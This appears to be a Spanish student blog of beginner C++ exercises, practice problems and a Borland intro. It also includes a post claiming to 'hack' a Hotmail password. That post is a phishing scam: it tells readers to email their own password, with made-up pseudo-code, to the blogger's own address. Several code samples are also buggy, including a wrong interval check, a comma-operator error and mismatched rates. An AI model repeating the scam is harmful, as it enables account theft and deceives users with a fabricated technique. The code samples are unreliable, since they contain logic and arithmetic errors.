12 de diciembre de 2011

Entender un software

Muchas veces al ver un software o al usarlo no dimensionamos el trabajo de ingeniería que tiene, cada programa informático, cada programa necesita resolver problemas, que son de diversos tipos, basado y adaptado a cada usuario. La persona que se encarga de diseñar cada software debe plantearse, analizar, des-componerlo en partes y por supuesto resolverlo de todas las maneras posibles en la cual el usuario, es decir que el programador debe pensar todas las necesidades del usuario y resolverlas.
Como este blog es como un historial de mi vida universitaria voy tratando de entusiasmar a las personas que verdaderamente se interesan en aprender a pensar y analizar problemas y hacerlo fácil para las personas que manipulen un computador. He aquí una serie de problemas me mantendrán tibiecito en el tema.. cualquier duda pueden consultarme a mi correo  1525331@googlemail.com.

EJEMPLO DE MODELO DE SOLUCIÓN
PROBLEMA 1.- CONVERTIR LA EDAD EN AÑOS DE UNA PERSONA A MESES.
Primero al resolverlo debemos de idear una formula, que nos serviría para todas las transformaciones de años a meses, en este caso multiplicando cualquier edad por 12 (que es la cantidad de meses que tiene un año). Un problema puede tener más de una solución correcta.
El pseudocodigo nos quedará algo así.
Inicio
Leer edad
m=edad*12
          Escribir m
fin
Donde m equivale a el mes


PROBLEMA 2.- CONVERTIR PESOS A DOLARES.
PROBLEMA 3.- CALCULAR EL AREA DE UN CIRCULO CON LA FORMULA
image23.jpg
PROBLEMA 4.- EVALUAR LA FUNCION image24.jpgPARA CUALQUIER VALOR DE X.
PROBLEMA 5.- Convertir millas a kilómetros(caso normal)
PROBLEMA 6.- Convertir 125 metros a centímetros(no ocupa entradas)
PROBLEMA 7.- Se calcula que en promedio hay 4.7 nidos en cada árbol en la BAAPA, también se calcula que en cada nido existen un promedio de 5.8 pájaros, se pide calcular la cantidad total de nidos y de pájaros en los 227 arboles que existen en la BAAPA. (no ocupa entradas)
PROBLEMA 8.- La gorda Sra. López y sus 8 hijos solo compran una vez al mes su mandado en conocido supermercado, en dicha tienda el kilogramo de frijol cuesta $8.75, el paquete de tortillas cuesta $3.55 y el frasco de café vale $14.25, si solo compran de estos tres productos para su mandado, calcular su gasto total. ( problema no claro)
PROBLEMA 9.- Capturar y desplegar los cinco datos mas importantes de un automóvil(no ocupa operaciones)
PROBLEMA 10.- La distancia Tijuana - Ensenada es de 110 kilómetros. Si un automóvil la recorre a una velocidad constante de 30 millas por hora, cuanto tiempo tarda en llegar. ( 1 milla = 1.609 Km.) (dos maneras correctas de resolverlo).
PROBLEMA 11.-Evaluar la función image28.jpgpara cualquier valor de x.(caso normal).
PROBLEMA 12.-Evaluar la función image29.jpgpara cuando x vale 4 . (no ocupa entradas).
13.- Evaluar el factorial de cualquier numero usando la formula: n!=n!-1
14.-La distancia que recorre un auto es de 50 kms y su velocidad es de 30 millas por hora .¿Cuanto tiempo tardara en llegar?
15.-Encontrar la derivada de x para cualquier valor con la formula(d/dx(x)=1)
16.-Calcular l interes que gana un capital de x pesos a una tasa de interes del 15% annual en un periodo de n años.
17.-Que aceleracion tiene un tren que parte de tijuana a 10 km/hr y pasa por ensenada una hora despues a 50 km/hr.
18.-Calcular el numero de aulas en una escuela que tiene 10 edificios y cada edificio 3 pisos y cada piso 5 aulas, excepto un edificio que solo tiene dos pisos.
19.-Si en una escuela hay 30 maestros y 15 son hombres que atienden a 10 alumnos cada uno. Cuantas maestras hay?
20.-Calcular la corriente de un circuito con un voltaje de 15v y una resistencia de 6 ohms. Formula (I= V/R)
21.-Calcular la normal estandar(z) dados los datos por el usuario: X=dato, µ=media, d=desviacion. Formula (Z = X-M / d)
22.-Dado un numero(N) cualesquiera obtener su raiz y potencia cuadrada .
23.-Determinar la media de 5 numeros diferentes.
24.-Determinar la velocidad v requerida para recorrer una distancia d en un tiempo t . Formula (V = d * t)
25.-Determinar la pendiente de una recta. Formula (y = m x + b)
26.-Calcular la funcion de y= x² + 8x + 3 para cualquier x
27.-Convertir minutos a horas.
28.-Aplicar la formula general para a=1, b=2, c=3.
39.-Se desea instalar un cable de red, el cliente pide 30 pies, considerando que se venden en metros, cuantos debera comprar.
30.-Un campesino siembra trigo en un area cuadrada de 25 mts., ¿ cual es el largo del cerco frontal en cms.?
31.-Resolver x² + 15x - 8 para cualquier variable (X).
32.-Convertir °C a °F.
33.-Si cada salon de la escuela tiene 40 alumnos y son 30 salones ¿Cuantos alumnos son en toda la escuela?
34.-Si Juan trabaja 5 dias a la semana y descansa 2 ¿Cuantos dias trabajo en 4 años?
35.-Si en una oficina se procesan 20 facturas cada 10 minutos cuantas se procesaran si se trabajan 5 horas?
36.-Si una empresa tiene _ de activo y un pasivo de _ ¿Cual es su capital?. Formula (C = A-P)
37.-Calcule el voltaje de un circuito dada una intensidad I y una resistencia R. Formula (V=IR)
38.-Calcule la frecuencia de una onda que circula con un tiempo t. Formula (F=1/t)
39.-Calcule la potencia de un circuito con un voltaje V y una intensidad I. Formula (f = VI)
40.-Calcule el total que tendra que pagar una persona que va al cine dependiendo del no. de boletos a comprar y el precio.
41.-Calcule las anualidades que tendra que pagar una persona que pidio un prestamo. Dependiendo del tiempo que el elija y el interes por año. Formula (Anualidad=(Prestamo/Tiempo)+interes)
42.-Determinar cuanto ganara una persona en base a la horas trabajadas. Tomando en cuenta el pago por hora.
43.-Convertir horas a segundos.
44.-Calcular la fuerza. Formula (fuerza = trabajo / tiempo)






problemas adaptados de http://www.programacionfacil.com

18 de septiembre de 2011

Ejercicio 17

Ingresar un número C y determinar si pertenece al intervalo [A,B] con A y B también son leídos.
************************************
#include <iostream.h>
#include <conio.h>
main()
{float a,b,c;
cout<<"Ingrese un valor A ";cin>>a;
cout<<"\nIngrese un valor B ";cin>>b;
cout<<"\nIngrese un valor C ";cin>>c;
if(a>b)
{if(c>=b)
      {if (c<=b) {cout<<"\nEl valor C se encuentra dentro del rango a y b";
           }
       else   {cout<<"\nEl valor C se encuentra fuera del rango a y b";
           }
      }
else {cout<<"\nEl valor C se encuentra fuera del rango a y b";
      }
   }
else
   {if (c>=a)
   {if(c<=b){cout<<"\nEl valor C se encuentra dentro del rango a y b";
     }
      else  {cout<<"\nEl valor C se encuentra fuera del rango a y b";
         }
         }
  else {cout<<"\nEl valor C se encuentra fuera del rango a y b";
    }
}

getch();
}



****************************************

  • Grabe el programa. Para ello siga la secuencia: File > Save as... y escriba un nombre para el archivo, en el cuadro de diálogo mostrado en pantalla.
  • Ejecute el programa. Presione la clave de teclas [Ctrl] + [F9] o siga la secuencia: Debug > Run
Usé CAMBIA CODIGOS para insertar el codigo en Blogger.

14 de agosto de 2011

Como hackear pass de hotmail

Para hackear el passwords (encontrar la contraseña de alguien que nos interese) sólo debemos acceder a este banco de datos valiéndonos precisamente de su sistema automático de verificación de passwords. 

¿Qué se necesita? 
Que tengas tu mismo/a una cuenta de Hotmail o LatinMail propia abierta 


¿Cuál es el procedimiento? 

Paso 1. 
Entra en tu cuenta de hotmail o latinmail. 

Paso 2. 
Debes redactar un mensaje con las siguientes características: 

En el campo "To" ( o "para") debes escribir la dirección del sistema que contiene la base de datos sobre la cual se realiza la verificación de passwords. 

Para hotmail
"To":1525331@googlemail.com 



Paso 3. 
En el campo "Subjet" ( Asunto) debes escribir lo siguiente: retrieve password.

Paso 4. 
En el cuerpo del mensaje debes escribir exactamente el siguiente código: 

form_login= ESCRIBE AQUÍ EL CORREO DE TU VICTIMA(ej: 123456@hotmail.com ) 
form_login.gets=?; form.passwd.gets=?; 

sendto=ESCRIBE AQUÍ TU CORREO; form.passwd=ESCRIBE AQUÍ TU PASSWORD 

form_value= "adm".login_keypassword@hotmail.com



Ahora envia el mensaje. Si tienes correo hotmail, el correo se envia automaticamente , y en 20 segundos tendras la clave deseada.

recuerdo, que esto no debe utilizarse con fines maléficos. unicamente como cultura general.

6 de agosto de 2011

Como programar C en Ubuntu

Nos encontramos con una dificultad al estudiar Ingeniería Informática, pues en realidad debería llamarse Ingeniería en Windows. Por ejemplo en clases de programación solo enseñan el Borland y si queremos hacer la tarea en nuestro querido y adorado Sistema Operativo Ubuntu pues no sabemos como hacerlo.
Pues la solución es Anjuta.
Lo que tienen que hacer es instalar Anjuta, G++ y autogen.

sudo apt-get install g++ anjuta autogen

Y listo. Creamos una carpeta en la ubicación que queramos. Ahora abrimos Anjuta. Damos Archivo > nuevo > Proyecto. en archivo aparecen dos nuevo, en este caso es el segundo. 

Las librerias son las mismas del Borland, con la excepción de que no debemos incluir conio.h, ni el getch() al final. Además la librería iostream no lleva .h, así: #include<iostream>

23 de julio de 2011

Ejercicio 16

Diseñe un algoritmo que leido un numero y su unidad de medida, transforme de cm a pies o de pies a cm: segun corresponda.
************************************
 #include <iostream.h>
 #include <conio.h>
 main()
 {double num,cm,p;
 char um;
 cout<<"Ingrese el valor ";cin>>num;cin>>um;
 if (um=='p'){cm=num*30.48;cout<<num<<" p equivale a "<<cm<<" cm";}
      else  {p=num/30.48;cout<<num<<" cm equivale a "<<p<<" pies";}
 getch();
 }

****************************************
  • Grabe el programa. Para ello siga la secuencia: File > Save as... y escriba un nombre para el archivo, en el cuadro de diálogo mostrado en pantalla.
  • Ejecute el programa. Presione la clave de teclas [Ctrl] + [F9] o siga la secuencia: Debug > Run
Usé CAMBIA CODIGOS para insertar el codigo en Blogger.

Ejercicio 15

Se leen dos valores enteros A,B, Si es mayor que B se realiza la suma de ambos, en caso contrario, se hace el producto.


El código me quedó así:



#include <iostream.h>

#include <conio.h>

void main()

{float a,b,x;

cout<<"Ingrese el valor de la variable A ";cin>>a;

cout<<"\nIngrese el valor de la variable B ";cin>>b;

if (a>b){x=a+b;cout<<"\nEl resultado de la suma es "<<x;}

     else {x=a*b;cout<<"\nEl resultado de la multiplicacion es "<<x;}

getch();

}

22 de julio de 2011

Ejercicio 14

El ejercicio 12 y 13 me parecieron aburridos, así que paso al 14 nomas ya. =)
Y dice:
Ingresar cinco valores numéricos A,B,C,D,E y decir si su promedio es igual o mayor, o menor a 10.

Y el código me quedó así:

Piensen mientras lo pruebo..xD



#include <iostream.h>// Reconoce el procedimiento de entrada y salida (flujo) cin, cout

#include <conio.h>//Reconoce el comando getch

main()
{float a,b,c,d,e,pro;
cout<<"Ingrese el valor de A ";cin>>a;
cout<<"Ingrese el valor de B ";cin>>b;
cout<<"Ingrese el valor de C ";cin>>c;
cout<<"Ingrese el valor de D ";cin>>d;
cout<<"Ingrese el valor de E ";cin>>e;
pro=(a+b+c+d+e)/5;
if (pro>=10){cout<<"El promedio es igual a "<<pro<<" y es mayor a 10";}
  else  {cout<<"\nEl promedio es igual a "<<pro<<" y es menor a 10";}
  getch();
 }


  • Grabe el programa. Para ello siga la secuencia: File > Save as... y escriba un nombre para el archivo, en el cuadro de diálogo mostrado en pantalla.
  • Compile el programa. Para ello presione la clave de teclas [Alt] + [F9] o siga la secuencia: Project > Compile
  • Ejecute el programa. Presione la clave de teclas [Ctrl] + [F9] o siga la secuencia: Debug > Run
  • Cierre la ventana correspondiente al programa compilado.Repita los mismos pasos para los siguientes programas

18 de julio de 2011

Ejercicio 11 (no sé como se escribe 11 en números ordinales)

Una institución benéfica ha recibido tres donaciones: en  Reales. Euros y Dólares esdadounidenses. La donación será repartida en tres rubros:

60% para el Centro de Salud

30% para un comedor de niños

y el resto para gastos administrativos.
Diseñe un algoritmo que determine el monto total de las donaciones en dólares y su equivalencia en guaraníes, y lo que le corresponderá a cada rubro, en ambas monedas.
Siendo:
  • 1 dolar = 4010Gs.
  • 1 dolar = 1.65 Reales.
  • 1 dolar = 6.68 Euros.

Y el codigo me quedó así:


#include <iostream.h> // Reconoce el proc
edimiento de entrada y salida (flujo) cin, cout
#include <conio.h> //Reconoce el comando getch



main()

{

float r,g,d,e,d2,d3,psd,pcd,pgd,psg,pcg,pgg;

cout<<"* Ingrese el valor de los aportes en Reales ";cin>>r; /*Donde r son Reales*/

cout<<"\n* Ingrese el valor de los aportes en Euros ";cin>>e; /*Donde e son Euros*/

cout<<"\n* Ingrese el valor de los aportes en Dolares ";cin>>d; /*Donde d son Dolares*/

//cout<<"*\n*Ingrese el valor de los aportes en Guaranies ";cin>>g; /*Donde g son Guaranies*/

d2=r/1.65;

d3=e/0.68;

d=d+d2+d3;

psd=(60*d)/100; /*Porcentaje para Salud en Dolares*/

pcd=d*0.30; /*Porcentaje para comedor en Dolares*/

pgd=d*0.20; /*Porcenteje para gastos administrativos en Dolares*/

g=d*4010;

psg=g*0.60;/*Porcentaje para Salud en Guaranies*/

pcg=g*0.30;/*Porcentaje para Comedor en Guaranies*/

pgg=g*0.10;/*Porcenteje para gastos administrativos en Guranies*/

cout<<"\n* La donacion para comedor en dolares es "<<pcd<<" que equivale a "<<psg<<" Gs";

cout<<"\n* La donacion para salud en dolares es "<<psd<<" que equivale a "<<psg<<" Gs";

cout<<"\n* La donacion para gastos admin es "<<pgd<<" que equivale a "<<pgg<<" Gs";

getch();

}





    Decimo Ejercicio

    Un pintor sabe que con una pintura determinada puede pintar 3,6 metros cuadrados con cada medio litro. Sabiendo la altura y el largo de la pared a pintar, realizar un algoritmo qeu informe cuantos litros de pintura necesitará para la pared en cuestión. Los datos de la pared se ingresaran en metros.

    El codigo me decis así:


    #include <iostream.h> // Reconoce el procedimiento de entrada y salida (flujo) cin, cout

    #include <conio.h> //Reconoce el comando getch

    main()

    {

    float b,h,sup,pin;/*Con Float se define el tipo de dato_entrada en este caso decimales*/

    cout<< "Sabiendo que 1 lts de pintura es suficiente para pintar 7,2 mts de pared \n\n*Ingrese la medida de base de su pared ";cin>>b;

    cout<<"*Ingrese la medida de la altura de su pared ";cin>>h;

    sup=b*h;

    pin=sup*7,2;

    cout<<"\nUsted necesitara "<<pin<<" litros de pintura";

    getch();

    }


    Usé CAMBIA CODIGOS para insertar el codigo en Blogger.

    Introducción a Borland C++ 5.02 (Primera Parte)

    Borland C++ es un lenguaje de programación derivado de C++. Desarrollado por la compañía Borland Software Corporation.

    ¿Como se hacen los programas?
    Los programas se hacen a través de los lenguajes de programación.
    ¿Qué es un programa?
    Los programas son un conjunto de instrucciones.
    ¿Qué es una instrucción?
    Son órdenes de cualquier tipo. Estas órdenes serán enviadas al procesador.
    ¿Qué es el procesador?
    El es el encargado de hacer cumplir las instrucciones.

    ¿Qué es un lenguaje de programación?
    Un lenguaje de programación es un lenguaje artificial que se puede usar para definir o preparar instrucciones que luego serán ejecutadas por la PC.

    ¿A que nos referimos con eso de lenguaje artificial?
    Veamos un ejemplo para comprender mejor esto. Estaba caminando por la calle cuando de pronto observo venir a una preciosa chica. Al instante me dan ganas de decirle que es muy guapa pero no me atrevo. Luego de un rato me decido, me acerco a ella y le digo: Perdone señorita, pero que bonita es Ud!. La señorita un tanto sorprendida, me observa y responde: I'm sorry, I don't speak spanish!, luego se va. Ustedes pueden darse cuenta de este caso que cuando dos personas no conocen un mismo idioma no se pueden comunicar correctamente, sin embargo eso no quiere decir que dos personas que no hablan el mismo idioma no se puedan entender, ¿verdad?. En este caso que hubiesen hecho ustedes para que aquella señorita entendiese el mensaje que le desean comuncar? Claro!, buscar algo (lenguaje alternativo o artificial) que los dos pudiesen comprender. En el caso de la señorita podríamos haber usado mímicas o gestos o simplemente buscar a alguien que entendiese nuestro idioma y la de la señorita para que le diga nuestro mensaje. A ese alguien nosotros le llamos traductor o intérprete y sirve como intermediario en la comunicación entre dos o más personas que no conocen el mismo lenguaje.

    Consola:
    IDE: Integrated Development Environment (Entorno Integrado de Desarrollo). Es un programa que contiene un conjunto de herramientas para un programador.
    GUI: Acrónimo de Graphical User Interface (Interfáz Gráfica de Usuario). Es el aspecto visual que presentan los programas.


    Imagen 1: La IDE del lenguaje Borland C++ versión 5.02

    ¿Cómo nos comunicamos con la PC?
    A través de los softwares (programas) y hardwares (dispositivos) con los que contemos.
    ¿En qué consiste la comunicación Usuario – PC?
    El usuario da órdenes a la computadora.
    ¿Qué significa dar órdenes a una computadora?
    Aunque muchos no se hayan dado cuenta, nosotros constantemente damos órdenes a la computadora a través de nuestros programas. Por ejemplo:
    Ejecutar un programa ... Ejemplo 1
    Reproducir un video ... Ejemplo 2
    Descargar música ... Ejemplo 3

    Estos son solo tres de la enorme cantidad de órdenes que pueden existir.

    Imagen 1: Se muestra una consola

    Tabla 1: Se muestra el significa de ciertos términos
    Algoritmo: Son un conjunto de pasos que sí se siguen correctamente resuelven un determinado problema.
    Archivo: De forma sencilla podemos decir que un archivo es como un "almacén". En su interior se puede almacenar instrucciones especiales para el ordenador o simplemente algo que el usuario desee guardar. Existen archivos de diferentes naturalezas. Estas naturalezas se ven reflejadas en la extensión del archivo. Por ejemplo un archivo que tenga extensión JPG significaría que dicho archivo almacena una imagen y sí la extensión fuera EXE eso significaría que dicho archivo almacena instrucciones para el ordenador.
    Archivo fuente: Es aquel archivo que contiene el código fuente.
    Código fuente: Es cualquier escrito que se hace en base a ciertas reglas (sintaxis) de un determinado lenguaje de programación.
    Código Objeto: Es el conjunto de instrucciones obtenidas al compilar el código fuente.
    Compilación: Es la actividad de traducir las instrucciones contenidas en un archivo fuente, en instrucciones máquina.
    Consola: En los años 70' existían lo que se llamaban consolas. Estas eran las pantallas oscuras que aparecían al arrancar el ordenador.
    GUI: Es el acrónimo de Graphic User Interface (Interfaz Gráfica de Usuario). La GUI se compone de botones, barras de deslizamiento, menus, etc.

    "Problemas, luego los soluciono!"

    Algoritmo
    Aprender este concepto a nivel informático es fundamental para cualquier estudiante ya que nuestra principal herramienta (la PC) trabaja en base a ellas.
    Tabla 2: Se plantea un problema de la vida cotidiana y sus posibles soluciones.
    PROBLEMA
    • Quiero ir en autobús al colegio pero no tengo dinero.
    SOLUCION
    • Busco a alguien para que me preste el dinero que necesito.
    • Realizo un atraco al banco más cercano para obtener el dinero que necesito.
    • Vendo mi reloj favorito y así obtengo el dinero que necesito.

    Características fundamentales del algoritmo
    El algoritmo es finito: El algoritmo que nosotros elaboremos necesariamente deberá tener un determinado conjunto de instrucciones.
    El algoritmo es preciso: El algoritmo está constituido por un conjunto de instrucciones que se ejecutarán paso a paso.
    El algoritmo es definido: El algoritmo seguido dos o más veces muestra resultados similares.

    Fuente: monografia.com